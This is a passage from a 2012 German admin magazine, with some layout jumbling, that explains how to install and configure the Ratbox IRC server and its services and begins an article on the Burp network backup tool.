und seit 1996 Linux-Fan. Nach seiner Promotion<br />
hat er als Linux/Unix-Trainer, Systemadministrator<br />
und Senior Solution Engineer gearbeitet.<br />
Heute ist er Leiter eines Linux/Unix-Teams bei<br />
der Amadeus Data Processing GmbH in Erding.<br />
68 Ausgabe 04-2012 Admin www.admin-magazin.de
Alles zum Thema<br />
Android<br />
Neu!<br />
Die Monatszeitschrift für Android-Fans, Smartphone- und Tablet-Nutzer<br />
DigisuB: nur 39,90 € im Jahr (12 PDFs)<br />
Ihre Vorteile:<br />
+ Lesen Sie News<br />
und Artikel schon<br />
1 Woche vor dem<br />
Kiosk-Termin!<br />
+ Hardware und App-<br />
Tests, Workshops,<br />
Tipps und Tricks für<br />
Anfänger und Profis!<br />
+ Nutzbar auf Smartphone,<br />
Tablet oder<br />
Notebook/PC!<br />
Jetzt bestellen unter:<br />
www.android–user.de/digisub<br />
Telefon 07131 / 2707 274 • Fax 07131 / 2707 78 601 • E-Mail: abo@android-user.de
Know-How<br />
Ratbox IRC-<strong>Server</strong><br />
© Karel Miragaya, 123RF<br />
<strong>Eigene</strong>n IRC-<strong>Server</strong> für das Unternehmen aufsetzen<br />
Oldie but Goldie<br />
Der Betrieb eines IRC-<strong>Server</strong>s wirkt fast schon anachronistisch, doch bietet der Klassiker aus den frühen 90er-<br />
Jahren viel Funktion bei wenig Ressourcenverbrauch. Im Büroalltag ermöglicht der Internet Relay Chat (IRC) eine<br />
einfache Kommunikation über Zimmer- und Etagen-Grenzen hinweg. Martin Loschwitz<br />
Totgesagte leben länger: Das IRC-Protokoll,<br />
das während der großen Blase<br />
am Anfang dieses Jahrtausends populär<br />
war, ist etwas aus der Mode gekommen.<br />
Sehr zu Unrecht, bietet es doch eine ressourcenschonende<br />
Möglichkeit für die<br />
textbasierte Kommunikation innerhalb<br />
eines Unternehmens. Bis dato findet sich<br />
unter IRCs diversen Protokoll-Nachfolgern<br />
keines, bei dem sich annähernd so<br />
bequem auch eine größere Menge an<br />
Leuten in einem einzelnen Chatraum zusammenfinden<br />
kann. Gleichzeitig punktet<br />
IRC mit seinen verschwindend geringen<br />
Hardware-Anforderungen: Selbst<br />
auf ausgemusterten PCs lässt sich ein<br />
IRC-<strong>Server</strong> für mehrere Hundert Benutzer<br />
problemlos betreiben. Und: IRC-Clients<br />
finden sich wie Sand am Meer für alle<br />
Betriebssysteme – oft genug gehört ein<br />
IRC-Client zum Standardumfang der großen<br />
Instant-Messaging-Lösungen (Gaim,<br />
Adium X).<br />
IRC ist die Lösung<br />
Wenn Sysadmins nach Optionen suchen,<br />
um den Angestellten eines Unternehmens<br />
einen Kommunikationspfad via Chat-<br />
System zur Verfügung zu stellen, ist IRC<br />
deshalb die offensichtliche Lösung. Wer<br />
IRC eine Chance geben möchte, steht zunächst<br />
vor der Qual der Wahl hinsichtlich<br />
der <strong>Server</strong>-Software: Eben weil IRC schon<br />
ein paar Jahre auf dem Buckel hat, existieren<br />
unzählige Varianten von IRC-<strong>Server</strong>n.<br />
Fast alle stammen vom ursprünglichen<br />
Code ab, der bis heute im IRCNet<br />
[1] im Einsatz ist und dem ursprünglichen<br />
IRC-RFC [2] noch am nächsten<br />
ist. Daneben existiert eine Unzahl von<br />
Nachfolgern und Forks: Jedes der großen<br />
öffentlichen IRC-Netzwerke hat einen eigenen<br />
Fork; zusätzlich sind diverse Forks<br />
in Form von Privatprojekten im Umlauf.<br />
Der Shooting Star der IRC-<strong>Server</strong> war in<br />
den letzten Jahren Ratbox-IRCd, der im<br />
EFnet in der ursprünglichen Version zum<br />
Einsatz kommt und im bekannten OSS-<br />
IRC-Netz Freenode ebenfalls mitspielt<br />
(dort kommt »ircd‐seven« zum Einsatz,<br />
der ein Abkömmling von Charybdis ist,<br />
der schließlich einen Fork von Ratbox<br />
darstellt).<br />
Die Installation von Ratbox<br />
Wer einen IRC-<strong>Server</strong> mit Ratbox betreiben<br />
möchte, legt zunächst selbst Hand<br />
an: Die Distributionen haben schon vor<br />
70 Ausgabe 04-2012 Admin www.admin-magazin.de
Ratbox IRC-<strong>Server</strong><br />
Know-How<br />
Abbildung 1: Bei der Standard-Installation packt Ratbox-IRCd seine Dateien nach »/usr/local/ircd«; mittels<br />
entsprechender Parameter für den »configure«-Befehl lässt sich das aber ändern.<br />
Jahren den Versuch aufgegeben, für die<br />
existierenden IRC-<strong>Server</strong> fertige Pakete<br />
anzubieten – lediglich in Ubuntu ist<br />
ein Ratbox-Paket zu finden. Anderswo<br />
ist Kompilieren angesagt, doch gestaltet<br />
sich diese Übung bei Ratbox sehr angenehm.<br />
Die Ratbox-Quellen finden sich<br />
auf [3] und sind nach dem Entpacken<br />
mit dem klassischen Trikolon aus »configure«,<br />
»make« und »make install« zu<br />
installieren.<br />
Etwas seltsam mutet die Tatsache an,<br />
dass Ratbox als Default-Präfix »/usr/<br />
local/ircd« verwendet und nicht »/usr/<br />
local« (Abbildung 1). Wer den IRCd nach<br />
»/usr/local« umlegen möchte, gibt »configure«<br />
mittels »‐‐prefix=«-Parameter den<br />
passenden Parameter mit auf den Weg.<br />
Administratoren wollen meistens auch<br />
die Parameter verändern, die die maximale<br />
Länge von Nicknames im IRC-Netz<br />
und die maximale Länge von Channel-<br />
Themen (Topics) bestimmen: Ab Werk<br />
hat Ratbox hier 9 Zeichen (Nickname)<br />
und 180 Zeichen (Topic) vorgesehen,<br />
was nicht mehr zeitgemäß ist. Mit den<br />
Parametern »‐‐with‐topiclen=« und<br />
»‐‐with‐nicklen=« für »configure« lassen<br />
sich die Werte ändern. Last but not<br />
least spielt auch SSL noch eine Rolle:<br />
Ratbox kann IRC über SSL, doch ist dafür<br />
»libssl‐dev« Voraussetzung. Soll SSL also<br />
funktionieren, ist das System dementsprechend<br />
vorzubereiten.<br />
Interessant ist der »auth«-Abschnitt, denn<br />
in diesem legen Admins fest, wer sich<br />
überhaupt mit dem IRC-<strong>Server</strong> verbinden<br />
darf. Einträge dieses Typs dürfen in der<br />
Konfiguration mehrmals vorkommen, um<br />
verschiedenen IP-Bereichen oder Hosts<br />
den Zugriff zu erlauben. Interessant<br />
ist das »spoof«-Keyword: Darüber lässt<br />
sich ändern, welchem Host eine Person<br />
zugeordnet ist. Das wird innerhalb des<br />
IRC-Netzes angezeigt. Wer beispielsweise<br />
einen IRC-<strong>Server</strong> nicht nur für die interne<br />
Kommunikation im Unternehmen<br />
betreibt, sondern auch Kunden den Zuetc/ircd.conf«<br />
liegen muss. Wer früher<br />
bereits einen IRC-<strong>Server</strong> konfiguriert hat,<br />
erinnert sich an deren etwas kryptische<br />
Syntax, bestehend aus I-Lines, O-Lines,<br />
C-Lines sowie den berüchtigten K-Lines,<br />
die Benutzer vom <strong>Server</strong> aussperren. Geblieben<br />
ist von dieser Syntax in Ratbox<br />
nichts, stattdessen kommt eine Syntax<br />
mit einzelnen Konfigurations-Abschnitten<br />
zum Einsatz, die das Verständnis der<br />
Konfiguration deutlich erleichtern.<br />
Es kann an dieser Stelle nicht jeder einzelne<br />
Konfigurationsparameter diskutiert<br />
werden, aber im Quelltext-Ordner von<br />
Ratbox findet sich in »doc« eine »exmaple.<br />
conf«, die als Grundalge für » ircd.conf«<br />
gute Dienste leistet. Viele Einträge erklä-<br />
ren sich von selbst: So ist im Abschnitt<br />
»serverinfo« in der Beispieldatei der Eintrag<br />
»hades.arpa« durch den Namen zu<br />
ersetzen, den der IRC-<strong>Server</strong> haben soll<br />
(hierbei muss es sich übrigens nicht um<br />
einen per DNS auflösbaren Hostnamen<br />
handeln).<br />
Im gleichen Abschnitt ist auch der Name<br />
des IRC-Netzwerks anzugeben und eine<br />
kurze Beschreibung dieses <strong>Server</strong>s. Weiterhin<br />
sollten die Ports definiert sein, an<br />
denen Ratbox auf eingehende Verbindungen<br />
wartet (der klassische IRC-Port<br />
aus Gewohnheit ist 6667, er ist bei den<br />
meisten Clients voreingestellt).<br />
Benutzerverwaltung<br />
Die IRCd-Konfiguration<br />
Nach der Installation folgt die Konfiguration<br />
des IRC-<strong>Server</strong>s. Die spielt sich<br />
im Wesentlichen in einer Datei namens<br />
»ircd.conf« ab, die unter Verwendung<br />
des Standard-Präfix in »/usr/local/ircd/<br />
Abbildung 2: Dieser »oper«-Block in »ircd.conf« legt fest, dass der Benutzer »martin« Operator ist und<br />
praktisch alles darf.<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 04-2012<br />
71
Know-How<br />
Ratbox IRC-<strong>Server</strong><br />
griff für Support-Zwecke erlaubt, kann<br />
die Mitarbeiter des Unternehmens so<br />
kennzeichnen.<br />
Nicht zuletzt lassen sich mittels einer<br />
»class«-Definition Benutzerklassen festlegen,<br />
denen einzelne »auth«-Abschnitte<br />
danach zuzuweisen sind. Über das<br />
System der Benutzerklassen lässt sich<br />
festlegen, wie viele Benutzer pro »auth«-<br />
Eintrag gleichzeitig mit dem <strong>Server</strong> verbunden<br />
sein dürfen, wann der <strong>Server</strong> die<br />
Verbindung kappt, wenn er keine Antwort<br />
auf seine Ping-Requests erhält, und<br />
wie groß die internen Puffer sind, die der<br />
<strong>Server</strong> pro verbundenem Client dieser<br />
Klasse anlegt.<br />
User- und Operator-Flags<br />
Das Prinzip von User-Flags und Operator-Flags<br />
existiert in IRC seit Anfang an.<br />
Flags erlauben es Benutzern, bestimmte<br />
Funktionen zu nutzen. Bei Administratoren<br />
geben die Flags Auskunft über<br />
die Befehle, die die Admins ausführen<br />
können. Die Flags werden per »flags =<br />
«-Keyword in ircd.conf je »auth«-Block<br />
oder »operator«-Block (Abbildung 2) zugeteilt.<br />
Eine ausführliche Übersicht über<br />
die Operator- und User-Flags, die in Ratbox<br />
zur Verfügung stehen, findet sich<br />
direkt in der »example.conf« im »auth«-<br />
Eintrag. Über die verfügbaren Operator-<br />
Flags gibt der exemplarische Operator-<br />
Block in der »example.conf« Auskunft.<br />
Übrigens: User-Flags lassen sich – soweit<br />
Listing 1: Beispielhafte »servers«-Klasse<br />
01 class „server“ { ping_time = 5 minutes;<br />
Abbildung 3: In der MOTD (»ircd.motd«) können Admins Texte festlegen, die die Benutzer beim Connect sehen<br />
– zum Beispiel ASCII-Art mit Figlet.<br />
sie im entsprechenden »auth«-Block erlaubt<br />
sind, von den Benutzern aktivieren.<br />
Um die Operator-Flags zu verwenden, ist<br />
es notwendig, sich als Benutzer zuerst als<br />
Operator am IRC-<strong>Server</strong> anzumelden. Der<br />
benötigte Befehl dazu ist »oper «.<br />
Die MOTD<br />
Ratbox bietet die Möglichkeit, Benutzern<br />
beim Aufbau der Verbindung mit dem<br />
IRC-<strong>Server</strong> eine »Message of the Day« anzuzeigen.<br />
In dieser lassen sich einerseits<br />
Hinweise unterbringen, die sich auf die<br />
01 /* connectfreq: only used in server classes. specifies the delay * between autoconnecting to servers.<br />
*/connectfreq = 5 minutes;<br />
01 /* max number: the amount of servers to autoconnect to */max_number = 1;<br />
01 /* sendq: servers need a higher sendq as they send more data */sendq=2 megabytes; };<br />
Benutzung des IRC-<strong>Server</strong>s selbst beziehen,<br />
andererseits sind hier auch Einträge<br />
möglich, die generellen Informationscharakter<br />
haben (beispielsweise aktuelle<br />
Verlautbarungen aus dem Unternehmen).<br />
Ratbox zeigt dabei die Inhalte an, die in<br />
»ircd.motd« stehen; die Datei liegt im<br />
gleichen Ordner wie »ircd.conf«. Eine<br />
Syntax kennt »ircd.motd« nicht – viele<br />
IRC-Admins tragen hier auch einen mit<br />
»figlet« generierten Schriftzug ein, häufig<br />
den Firmennamen (Abbildung 3). Falls<br />
die MOTD nicht angezeigt wird, obwohl<br />
die Datei vorhanden ist, empfiehlt sich<br />
der Check der Berechtigungen dieser Datei:<br />
Ratbox gibt keine Fehlermeldung aus,<br />
wenn es »ircd.motd« nicht lesen kann;<br />
stattdessen zeigt es gar keine MOTD an.<br />
Die Ratbox-Services<br />
Listing 2: Beispielhafter »connect«-Block<br />
01 /* connect {}: controls servers we connect to (OLD C:, N:, H:, L:) */connect „services.irc.hastexo.<br />
com“ { /* the name must go above */<br />
01 /* host: the host or IP to connect to. If a hostname is used it * must match the reverse dns of the<br />
server. * / host = „10.42.0.1“;<br />
01 /* passwords: the passwords we send (OLD C:) and accept (OLD N:). * The remote server will have these<br />
passwords reversed. */send_password = „sehrgeheim“; accept_password = „sehrgeheim“;<br />
01 /* port: the port to connect to this server on */port = 5556;<br />
01 /* hub mask: the mask of servers that this server may hub. Multiple * entries are permitted */hub_<br />
mask = „*“;<br />
01 /* class: the class this server is in */class = „server“;<br />
01 /* flags: controls special options for this server * encrypted - marks the accept_password as being<br />
crypt()’d * autoconn - automatically connect to this server * compressed - compress traffic via<br />
ziplinks * topicburst - burst topics between servers */flags = compressed, topicburst; };<br />
Die sogenannten »IRC‐Services« (Funktionserweiterungen<br />
wie Kanäle, oder<br />
der Erinnerungsdienst) finden sich mit<br />
Ausnahme des IRCnets mittlerweile bei<br />
praktisch allen IRC-Netzwerken. Im IRC-<br />
Standard selbst waren sie gar nicht vorgesehen,<br />
doch kam mit der zunehmenden<br />
Bekanntheit von IRC schnell der Wunsch<br />
nach bestimmten Features auf. So wollen<br />
viele Benutzer beispielsweise in der Lage<br />
sein, ihren Nickname innerhalb des IRC-<br />
Netzwerks zu registrieren, sodass andere<br />
ihn nicht benutzen können. Auch Kanäle<br />
sind auf diese Weise registrierbar, womit<br />
72 Ausgabe 04-2012 Admin www.admin-magazin.de
Ratbox IRC-<strong>Server</strong><br />
Know-How<br />
die IRC-Services einen sinnvollen Ersatz<br />
darstellen zu versuchen, Kanäle mit IRC-<br />
Robots zu beschlagnahmen. Für Ratbot<br />
steht eine eigene Service-Umgebung zur<br />
Verfügung, die auf den Namen » Ratbox<br />
Services« hört.<br />
Für Ubuntu steht eine paketierte Form<br />
dieser Ratbox-Services zur Verfügung, bei<br />
anderen Systemen ist wiederum Handarbeit<br />
angesagt. »configure«, » make«<br />
und »make install« genügen aber auch<br />
hier. Wer bei Ratbox andere Werte für<br />
»topiclen« und »nicklen« angegeben hat,<br />
sollte das auch für die Ratbox-Services<br />
tun, sonst lassen sich die Services nicht<br />
mit Ratbox verbinden. Wenn die Services<br />
installiert und konfiguriert sind – auch<br />
für die Services steht eine umfangreiche<br />
»example.conf« zur Verfügung, die als<br />
»ratbox‐services.conf« im Konfigurationsordner<br />
landet – ist der nächste Schritt,<br />
den eigentlichen IRCd mit den Services<br />
zu verbinden.<br />
<strong>Server</strong>-<strong>Server</strong>-Verbindung<br />
Die Möglichkeit, einen IRC-<strong>Server</strong> mit<br />
einem anderen zu verbinden, um so ein<br />
zusammenhängendes Netz zu schaffen,<br />
bieten alle IRC-<strong>Server</strong>. Service-Suites<br />
machen sich diese Eigenschaft üblicherweise<br />
zunutze; anstatt für jeden Dienst<br />
(NickServ, ChanServ, NoteServ …) einen<br />
eigenen Client mit dem <strong>Server</strong> zu<br />
verbinden, verbindet sich der Service-<br />
Daemon als IRC-<strong>Server</strong> mit einem schon<br />
vorhandenen <strong>Server</strong> im Netz und agiert<br />
anschließend auch wie ein IRC-<strong>Server</strong>.<br />
Damit das Prinzip funktioniert, sind allerdings<br />
sowohl die Konfiguration des schon<br />
laufenden Ratbox-<strong>Server</strong>s wie auch die<br />
Service-Konfiguration selbst an diese Umstände<br />
anzupassen.<br />
In »ircd.conf« von Ratbox muss erstmal<br />
eine Klasse her, in welche der IRCd <strong>Server</strong>-Verbindungen<br />
einsortiert. Kasten 1<br />
zeigt ein vollständiges Beispiel für eine<br />
solche Klasse namens »servers«.<br />
Darüber hinaus fehlt in »ircd.conf« der<br />
Block, der die Verbindung zum anderen<br />
<strong>Server</strong> erlaubt. Solche Blöcke enthalten<br />
das Schlüsselwort »connect«. Im Beispiel<br />
könnte eine Verbindung zum Services-<br />
<strong>Server</strong> aussehen wie im Kasten 2, der ein<br />
vollständiges Beispiel enthält.<br />
Insbesondere ist darauf zu achten, dass<br />
der Eintrag unmittelbar hinter »connect«<br />
mit dem Namen übereinstimmt, der als<br />
Service-Name in der »ratbox‐services.<br />
conf« steht. Die »Port«-Angabe erfüllt an<br />
dieser Stelle lediglich Alibi-Funktionen,<br />
weil die Services sich – und das ist ein<br />
Sonderfall – mit dem IRC-<strong>Server</strong> verbinden,<br />
umgekehrt funktioniert das Prinzip<br />
aber nicht.<br />
Schließlich fehlt noch der eigentliche<br />
»services«-Block, der so auszusehen hat<br />
»services.irc.hastexo.com« :<br />
service {<br />
/* name: the server name. U<br />
These may be stacked. */<br />
name = "services.irc.hastexo.com";<br />
};<br />
Services-Verbindung<br />
einrichten<br />
Schließlich müssen auch die Services<br />
wissen, wohin sie sich verbinden sollen.<br />
Im Beispiel ist in »ratbox‐services.conf«<br />
innerhalb des Blocks »serverinfo« dazu<br />
zunächst der Eintrag<br />
»name« wie in Kasten<br />
2 auf »services.irc.<br />
hastexo.com« zu setzen.<br />
Auch der Vhost<br />
ist entsprechend einzustellen.<br />
Dann braucht auch<br />
»ratbox‐services.conf«<br />
einen vollständigen<br />
Block mit »connect«-<br />
Schlüsselwort; Listing<br />
3 enthält wiederum<br />
ein passendes Beispiel.<br />
Hinter »connect« steht<br />
dabei wiederum der<br />
Name, wie er für Ratbox<br />
in »ircd.conf« angegeben<br />
ist.<br />
Ob die Konfiguration<br />
passt, können Benutzer<br />
in den <strong>Server</strong>-Messages<br />
von Ratbox sehen,<br />
wenn sie als Operator<br />
eingeloggt sind.<br />
Sobald die Services<br />
mit Ratbox verbunden<br />
sind, stehen ChanServ<br />
& Co. zur Verfügung.<br />
Fügt der Administrator<br />
des IRC-<strong>Server</strong>s in »ratbox‐services«<br />
ebenfalls<br />
noch einen »operator«-<br />
Zugang hinzu (in der kommentierten<br />
Beispiel-Datei findet sich eine Vorlage),<br />
können sich IRC-Admins im IRC auch als<br />
Admins an den Services anmelden. Wie<br />
das funktioniert, steht in [4]. (jcb) n<br />
Infos<br />
[1] IRCnet: [http:// www. ircnet. org]<br />
[2] IRC-RFC: [http:// www. irchelp. org/ irchelp/<br />
rfc/ rfc. html]<br />
[3] Ratbox-Dowenload: [http:// www. ratbox.<br />
org/ download. shtml]<br />
[4] Operguide: [http:// docs. ratbox. org/<br />
svc_operguide. shtml]<br />
Listing 3: »connect«-Block für »ratbox‐services«<br />
01 connect „irc.hastexo.com“ { /* host: the host to connect<br />
to */host = „10.42.0.1“;<br />
01 /* password: the password to use */password =<br />
„sehrgeheim“;<br />
01 /* port: the port to connect on */port = 5555;<br />
01 /* autoconn: auto connect to this server. default yes<br />
*/autoconn = yes; };<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 04-2012<br />
73
Know-how<br />
Open-Source-Backup<br />
© Kirsty Pargeter, 123RF<br />
Netzwerk-Backup mit Burp, Obnam und Backshift<br />
Wettlauf<br />
Die wohl bekanntesten freien Backup-Lösungen Bacula und Amanda bekommen Konkurrenz. Mit Burp, Obnam<br />
und Backshift beeindrucken vielversprechende Newcomer durch interessante Funktionen. Thomas Drilling<br />
Zum Programm-Editor griff Graham<br />
Keeling in erster Linie, weil er sich über<br />
die Komplexität der Netzwerk-Backup-<br />
Software Bacula ärgerte [1]. Heraus kam<br />
die kompakte Netzwerk-Backup-Lösung<br />
Burp [2], die wahlweise im Client- oder<br />
<strong>Server</strong>-Modus läuft, sich vollständig über<br />
Aufrufparameter steuern lässt und sich<br />
somit auch für den Einsatz in Skripten<br />
eignet. Der <strong>Server</strong>-Modus wird nur auf<br />
Unix-/Linux-Maschinen unterstützt,<br />
während es von dem Client auch einen<br />
Installer für 32- und 64-Bit-Windows-<br />
Systeme gibt. Burp nutzt unter anderem<br />
Librsync zur Realisierung platzsparender<br />
Delta-Backups. Der Hauptunterschied<br />
zwischen gewöhnlichen inkrementellen<br />
und Delta-Backups zeigt sich beim Anlegen<br />
aufeinander folgender Sicherungen<br />
von Bereichen, die kontinuierlichen Änderungen<br />
unterliegen. Dann enthält jeder<br />
weitere inkrementelle Sicherungsdatensatz<br />
den vollständigen Inhalt des zuvor<br />
erstellten inkrementellen Sicherungsdatensatzes<br />
sowie alle seit der letzten<br />
Gesamtsicherung veränderten oder neu<br />
hinzugekommenen Daten. Delta-Sicherungen<br />
hin<strong>gegen</strong> enthalten ausschließlich<br />
die seit der letzten Sicherung (gesamt<br />
oder inkrementell) geänderten oder hinzugekommenen<br />
Daten.<br />
Burp-Features<br />
Zum Sichern von Windows-Hosts nutzt<br />
Burp die Windows Volume Shadow Copy<br />
Services (VSS), was unterbrechungsfreie<br />
und konsistente Backups von Windows-<br />
Rechnern gewährleistet. Außerdem unterstützt<br />
es Junctions [3], eine Art symbolischer<br />
Links bei NTFS-Dateisystemen.<br />
Auf Unix-Systemen kann Burp neben<br />
Dateien und Verzeichnissen auch Hardlinks,<br />
Symlinks, Fifos und Device Nodes<br />
über das Netzwerk sichern. Bereits seit<br />
der Version 1.1.70 vom Sommer letzten<br />
Jahres sichert Burp unter FreeBSD auch<br />
Extended Attributes und ACLs (Access<br />
Control Lists).<br />
Burp ist freie Software und steht unter<br />
der AGPLv3 auf Sourceforge [4] zum<br />
Download zur Verfügung. Die momentan<br />
stabile Version 1.3.0 datiert auf Januar<br />
diesen Jahres, während die aktuelle Version<br />
1.3.6 Ende Mai freigegeben wurde.<br />
Der zugehörige Windows-Client steht<br />
in Form einer Installer-Datei für 32 und<br />
64 Bit zur Verfügung. Optional kann der<br />
Admin die Burp-Dateien auch mit<br />
git clone git://github.com/grke/burp.git<br />
aus dem Github-Repository auschecken.<br />
Darüber hinaus ist Burp 1.3.1 seit einiger<br />
Zeit im Universe-Repository von Ubuntu<br />
Precise (12.04) enthalten und als Paket<br />
für Debian Sid verfügbar.<br />
Zum Installieren des <strong>Server</strong>s unter Linux<br />
muss der Admin zunächst die notwendigen<br />
Pakete installieren, im Beispiel auf<br />
einer Ubuntu-Distribution:<br />
sudo apt‐get install librsync‐dev U<br />
libz‐dev libssl‐dev uthash‐dev<br />
Anschließend genügt es, im Verzeichnis<br />
der entpackten Quellen »sudo ./configure<br />
; make ; make install« auszuführen.<br />
Statt »make install« kann der Admin auch<br />
»checkinstall« benutzen, um ein Installa-<br />
76 Ausgabe 04-2012 Admin www.admin-magazin.de
Open-Source-Backup<br />
Know-how<br />
tionspaket zu bauen, was eine etwaige<br />
Deinstallation vereinfacht. Zum Starten<br />
des <strong>Server</strong>s genügt das Eingeben von<br />
burp ‐c /etc/burp/burp-server.conf,<br />
wobei »c‐« den Pfad zur Konfigurationsdatei<br />
angibt. Die sorgt auch dafür, dass<br />
Burp beim Start die erforderlichen Zertifikate<br />
generiert (Abbildung 1).<br />
In der Default-Einstellung läuft der <strong>Server</strong><br />
als Daemon im Hintergrund, lässt sich<br />
aber mit der Option »‐F« auch im Vordergrund<br />
starten. Für einen ersten Test kann<br />
der Admin die mitgelieferte <strong>Server</strong>-Konfiguration<br />
verwenden. Der Burp-<strong>Server</strong><br />
benutzt per Default den Port 4971. Im<br />
Produktivbetrieb muss der Admin aber<br />
auf jeden Fall das Sicherungsverzeichnis<br />
anpassen (Abbildung 2).<br />
Unix-Client<br />
Jeder Client bekommt vom <strong>Server</strong> ein Unterverzeichnis<br />
im Sicherungsverzeichnis<br />
des <strong>Server</strong>s, in dem Burp die jeweils fünf<br />
letzten Sicherungen ablegt, was der Admin<br />
nach Belieben in der Vorlage der <strong>Server</strong>konfiguration<br />
»/etc/burp/burp‐server.<br />
conf« den eigenen Wünschen anpassen<br />
kann. In der Unix-Variante implementiert<br />
»make install« übrigens auch einen Cron-<br />
Job für den Client, der per Default alle 20<br />
Minuten aktiv wird. Die zu sichernden<br />
Daten legt der Admin in der jeweiligen<br />
Client-Konfigurationsdatei »/etc/burp/<br />
burp.conf« mithilfe einer Include-Anweisung<br />
fest.<br />
Mit der Anweisung »exclude Pfad« lassen<br />
sich da<strong>gegen</strong> gezielt Verzeichnisse ausschließen.<br />
Noch granularer funktioniert<br />
das Ausschließen einzelnen Dateitypen<br />
mit »exclude_ext = Typ«, etwa<br />
exclude_ext = img<br />
Zudem lassen sich mit »exclude_fs« verschiedene<br />
Arten von Meta-Daten, etwa<br />
temporäre Dateisysteme wie »proc«,<br />
»devfs«, »devpts« oder »ramfs« von der<br />
Sicherung ausschließen:<br />
exclude_fs = sysfs<br />
Ferner ist es möglich, Dateien einer bestimmten<br />
Größe auszuschließen, etwa<br />
solche mit 0 MByte. Die Burp-Konfigurationssprache<br />
stellt dazu zwei mögliche<br />
Parameter »min_file_size« oder »max_<br />
file_size« zur Verfügung:<br />
»min_file_size = 0 Mb«<br />
Spezialbehandlung für<br />
Device Nodes und FIFOs<br />
Eine Besonderheit gibt es beim Umgang<br />
mit Spezialdateien wie Fifos und Block<br />
Devices Nodes. In der Default-Einstellung<br />
sichert Burp nur die Namen der Pipes,<br />
aber nicht deren Inhalt. Daher kann der<br />
Admin mit den beiden folgenden Optionen<br />
ausgewählte (oder alle) Fifos explizit<br />
mitsichern:<br />
read_fifo=/Pfad/zum/Fifo<br />
read_all_fifos=0<br />
rz lam-0018 Anzeige_210x148:la1 lam-0010 Anzeige_210x148 18.08.2010 15:26 Uhr Seite 1<br />
E<br />
„Es gibt drei Möglichkeiten, eine Firma zu ruinieren:<br />
mit Frauen, das ist das Angenehmste;<br />
mit Spielen, das ist das Schnellste;<br />
mit Computern, das ist das Sicherste.“<br />
Oswald Dreyer-Eimbcke, deutscher Unternehmer<br />
Es gibt allerdings auch eine ganze Reihe von Möglichkeiten, mit IT zum Unternehmenserfolg beizutragen.<br />
Und genau damit beschäftigen wir uns seit dem Jahr 1989. In weit über 100.000 Stunden IT-Training,<br />
technischem Consulting und Software-Entwicklung haben wir eine ganze Menge Know-how entwickelt.<br />
Dieses umfassende Wissen kommt Ihnen heute zugute, wenn wir Sie in allen IT-Fragen unterstützen.<br />
Wie Sie von unserem Know-how profitieren, erfahren Sie unter www.lamarc.com.<br />
Rufen Sie uns an +49 611 26 00 23 oder schicken eine E-Mail an info@lamarc.com<br />
Seminare OnSite Coaching Netzwerk Consulting System Consulting Developer Support Software-Entwicklung<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 04-2012<br />
77
Know-how<br />
Open-Source-Backup<br />
Das Gleiche gilt für die Block Device Nodes,<br />
die mit den Einstellungen<br />
read_blockdev=/Pfad/zum/blockdev<br />
read_all_blockdevs=0<br />
ins Backup aufgenommen werden.<br />
Windows Client<br />
Die Installer-Datei des Windows-Client<br />
für 32 oder 64 Bit findet man wie erwähnt<br />
im Unterverzeichnis der jeweiligen<br />
Burp-Version auf Souceforge in der<br />
Rubrik »Files«. Unter Windows genügt<br />
das Doppelklicken der Installer-Datei, um<br />
den Client zu installieren. Ein Assistent<br />
erfragt dabei die IP-Adresse des <strong>Server</strong>s<br />
und möchte einen Client-Namen nebst<br />
Passwort festlegen, der dem <strong>Server</strong> zum<br />
Identifizieren des Clients dient (Abbildung<br />
3).<br />
Analog zum Cronjob des Unix-Clients legt<br />
der Installer der Windows-Version im Folgeschritt<br />
einen Windows-Scheduler-Task<br />
mit einer Poll-Frequenz von 20 Minuten<br />
an und führt die Installation dann zu<br />
Ende, leider ohne die Möglichkeit, den<br />
Ort für die Konfigurationsdatei zu ändern.<br />
Sie findet sich anschließend unter<br />
»C:\Programme\Burp\burp.conf«.<br />
Ähnlich wie bei der Unix-Version ist das<br />
zu sichernde Verzeichnis in der Default-<br />
Konfiguration »C:\Users« ebenfalls per<br />
Include-Anweisung anzugeben. Hat der<br />
Admin weitere zu sichernde Verzeichnisse<br />
mit zusätzlichen Include-oder Exclude-<br />
Zeilen angegeben, steht der Verwendung<br />
des Clients nichts mehr im Wege.<br />
Burp verwenden<br />
Wie erwähnt lässt sich Burp komplett<br />
über die Kommandozeile steuern und in<br />
eigenen Skripten verwenden. Entsprechend<br />
umfangreich ist der Parametersatz.<br />
Die einfachste Möglichkeit, am Client ein<br />
Backup »b« anzustoßen, besteht in der<br />
Eingabe von<br />
burp ‐a b<br />
wobei der Pameter »‐a« für „action“<br />
steht und neben »b« (für „backup“)<br />
die Optionen »t« („timed backup“), »r«<br />
(„restore“), »l« („list“), »L« („long list“),<br />
»v« („verify“) und »e« („estimate“) kennt.<br />
So zeigt etwa »burp ‐s l« die auf dem<br />
<strong>Server</strong> vorhandenen Backups an („list“),<br />
während » burp ‐a l ‐b 2« alle Dateien<br />
im Backup mit der Nummer 2 auflistet.<br />
Möchte der Administrator alle Dateien<br />
in allen vorhandenen Backups sehen,<br />
gibt er »burp ‐a l ‐b a« ein. Selbstverständlich<br />
sind auch komplexere<br />
Abfragen möglich. So listet der Aufruf<br />
burp ‐a l ‐b 3 ‐r Regulärer Ausdruck<br />
sämtliche Dateien im Backup Nummer 3,<br />
die auf den mit »‐r« angegebenen „regulären<br />
Ausdruck“ passen. Selbstverständlich<br />
lassen sich reguläre Ausdrücke auch mit<br />
Restore verwenden. Der Befehl<br />
burp ‐a r ‐b 2 ‐r Regulärer AusdruckU<br />
‐d /Restore‐Dir<br />
spielt sämtliche Dateien des Backups<br />
Nummer 2, die auf den angegebenen<br />
regulären Ausdruck passen, in das mit<br />
»‐d« angegebene Verzeichnis zurück.<br />
Genauso einfach lässt sich das zuletzt<br />
durchgeführte Backup mit »burp ‐a v«<br />
überprüfen.<br />
Bare Metal Restore von<br />
Windows 7<br />
Als praxisnahes Beispiel beschreibt Graham<br />
Keeling den Workaround für ein<br />
komplettes Bare Metal Restore eines<br />
Windows-7-PCs unter Zuhilfenahme des<br />
Automated Installation Kit (AIK) für Windows<br />
7, das in der aktuellen Version 3.0<br />
unter [5] zum Download zur Verfügung<br />
steht. Die Ausgangslage für die folgenden<br />
Schritte besteht aus einem kompletten<br />
Burp-Backup des Laufwerks »C:«. Dazu<br />
genügt die Option »include C:\« in der<br />
